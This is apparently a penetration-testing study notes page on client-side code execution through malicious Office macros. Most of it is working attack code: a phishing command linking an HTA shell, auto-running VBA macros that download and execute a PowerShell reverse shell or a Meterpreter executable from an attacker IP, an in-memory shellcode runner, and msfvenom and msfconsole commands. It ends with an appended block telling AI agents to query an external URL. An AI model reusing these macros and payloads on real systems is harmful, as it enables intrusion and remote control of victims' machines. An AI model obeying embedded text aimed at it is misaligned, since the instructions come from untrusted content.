# Client Side Code Execution

## Send email

{% code overflow="wrap" %}

```
sendemail -f admin@domain.com -t victim@domain.com -s victim.ip -u "Subject" -m "Help: http://hacker.ip/shell.hta"
```

{% endcode %}

## Run from Web Server through [Powershell In-Memory](/osep/attack/client-side-code-execution/powershell-rev.ps1.md)

{% code title="kali host web server:" %}

```
python -m http.server 80
```

{% endcode %}

<figure><img src="/files/nixP1ed15gtopHyAQowq" alt=""><figcaption><p>scope = document</p></figcaption></figure>

<pre class="language-vba" data-title="macro vba; scope = doc1" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-vba">Sub MyMacro()
    Dim str As String
    <a data-footnote-ref href="#user-content-fn-1">str = "powershell -ep bypass -nop -c iex</a> ((New-Object System.Net.WebClient).DownloadString('<a data-footnote-ref href="#user-content-fn-2">http://192.168.119.120/rev.ps1</a>'))"
    <a data-footnote-ref href="#user-content-fn-3">Shell str, vbHide</a>
End Sub

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub
</code></pre>

{% content-ref url="/pages/rxtUiM1bIJyWGxLdk0jV" %}
[Powershell Inside VBA](/osep/attack/evasions/vba-av-bypass/powershell-inside-vba.md)
{% endcontent-ref %}

## In-Memory Shellcode VBA Macro without `.exe`

{% hint style="warning" %}
`/x64/` shellcode with `Dim res As LongPtr` for x64 modern MS Office

`Workbook_Open()` for Excel
{% endhint %}

<pre data-title="VBA Shellcode:" data-overflow="wrap" data-full-width="true"><code><a data-footnote-ref href="#user-content-fn-4">msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f vbapplication</a>
</code></pre>

{% code title="listener:" overflow="wrap" fullWidth="false" %}

```bash
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
```

{% endcode %}

<pre class="language-vba" data-title="macro vba; scope = doc1" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-vba"><a data-footnote-ref href="#user-content-fn-5">Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr</a>

<a data-footnote-ref href="#user-content-fn-6">Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr</a>

<a data-footnote-ref href="#user-content-fn-7">Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr</a>

Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long

Function MyMacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As Long
    
    <a data-footnote-ref href="#user-content-fn-8">buf = Array(232, 130, 0, 0, 0, 96, 137…)</a>

    <a data-footnote-ref href="#user-content-fn-6">addr = VirtualAlloc(0, UBound(buf), &#x26;H3000, &#x26;H40)</a>
    
    <a data-footnote-ref href="#user-content-fn-9">For counter = LBound(buf) To UBound(buf)</a>
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    
    <a data-footnote-ref href="#user-content-fn-5">res = CreateThread(0, 0, addr, 0, 0, 0)</a>
End Function 

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub
</code></pre>

{% hint style="info" %}
The shell dies when closing the doc; resolve by `AutoMigrate` module in MSF
{% endhint %}

{% embed url="<https://www.hackingarticles.in/metasploit-for-pentester-migrate/>" %}

{% content-ref url="/pages/JPBO6AzJwtwDtMEQHKm3" %}
[VBA AV Bypass](/osep/attack/evasions/vba-av-bypass.md)
{% endcontent-ref %}

## VBA `.exe` Shellcode Download & Execute on Disk

{% code title="shell.exe to serve in kali:" overflow="wrap" fullWidth="true" %}

```
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o msfstaged.exe
```

{% endcode %}

{% code title="listener:" %}

```bash
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
```

{% endcode %}

{% code title="kali host web server:" %}

```
python -m http.server 80
```

{% endcode %}

<pre class="language-vba" data-title="macro vba; scope = doc1" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-vba">Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('<a data-footnote-ref href="#user-content-fn-10">http://192.168.119.120</a>/<a data-footnote-ref href="#user-content-fn-11">msfstaged.exe</a>', 'msfstaged.exe')"
    Shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.Path + "\msfstaged.exe"
    Wait (2)
    <a data-footnote-ref href="#user-content-fn-3">Shell exePath, vbHide</a>

End Sub

Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub
</code></pre>

<pre class="language-vba" data-title="IWR alternative MyMacro" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-vba">Sub MyMacro()
    Dim str As String
    str = "powershell -c "IWR -Uri <a data-footnote-ref href="#user-content-fn-10">http://192.168.119.120/</a><a data-footnote-ref href="#user-content-fn-11">msfstaged.exe</a> -OutFile <a data-footnote-ref href="#user-content-fn-12">C:\temp\</a>msfstaged.exe"
    Shell str, vbHide
    Dim exePath As String
    exePath = "C:\temp\msfstaged.exe"
    Wait (2)
    <a data-footnote-ref href="#user-content-fn-3">Shell exePath, vbHide</a>

End Sub
</code></pre>

[^1]: str = "powershell (New-Object System.Net.WebClient).DownloadString('<http://192.168.119.120/rev.txt>') | IEX"

[^2]: save the [`.ps1`](/osep/attack/client-side-code-execution/powershell-rev.ps1.md#reflection-shellcode-runner-without-add-type-stealthiest) and host in kali web server:

    `python -m http.server 80`

    can also serve txt shellcode

    `sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o shell.txt`

[^3]: Windows Scripting Host alternative:

    `CreateObject("Wscript.Shell").Run str, 0`

[^4]: `buf = Array(232, 130, 0, 0, 0, 96, 137…)`

[^5]: execution

[^6]: allocate memory

[^7]: copy shellcode bytes to allocated memory (P/Invoke Win32 API)

[^8]: `msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f vbapplication`

[^9]: copy shellcode bytes to allocated memory

[^10]: create the `.exe` payload and serve in kali web server:

    `python -m http.server 80`

[^11]: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o msfstaged.exe`

[^12]: choose a commonly writable path&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://osnotes.jackielam.net/osep/attack/client-side-code-execution.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
